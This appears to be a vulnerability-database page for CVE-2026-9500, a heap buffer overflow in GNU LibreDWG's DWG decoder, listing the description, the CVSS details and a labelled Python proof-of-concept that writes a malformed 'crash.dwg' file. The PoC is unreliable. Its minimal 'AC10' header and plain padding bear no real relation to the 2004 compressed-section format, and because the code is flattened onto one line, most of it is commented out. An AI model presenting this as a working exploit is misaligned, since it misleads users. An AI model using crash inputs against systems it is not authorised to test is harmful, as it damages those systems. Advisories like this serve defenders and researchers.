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CVE-2026-9500 CVSS 5.3 MEDIUM

CVE-2026-9500

Published: 2026-05-25 21:16:36
Last Modified: 2026-05-25 21:16:36

Description

A vulnerability was found in GNU LibreDWG up to 0.14. The affected element is the function read_2004_compressed_section of the file src/decode.c of the component Dwgread Utility. Performing a manipulation results in heap-based buffer overflow. The attack is only possible with local access. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GNU LibreDWG <= 0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-9500: Heap Buffer Overflow in LibreDWG # This script generates a malformed DWG file to trigger the vulnerability # in read_2004_compressed_section. def generate_malicious_dwg(filename): # Start with a minimal valid DWG header structure header = b"\x41\x43\x31\x30" # Magic number version = b"\x00\x00\x00\x00" # Version placeholder # Construct the malicious compressed section payload # The vulnerability occurs when length checks fail. # We provide a size larger than the allocated buffer. malicious_section = b"A" * 0x1000 # Large padding to trigger overflow with open(filename, "wb") as f: f.write(header) f.write(version) # Insert data targeting the vulnerable function f.write(malicious_section) print(f"[+] Malicious DWG file generated: {filename}") if __name__ == "__main__": generate_malicious_dwg("crash.dwg")

References

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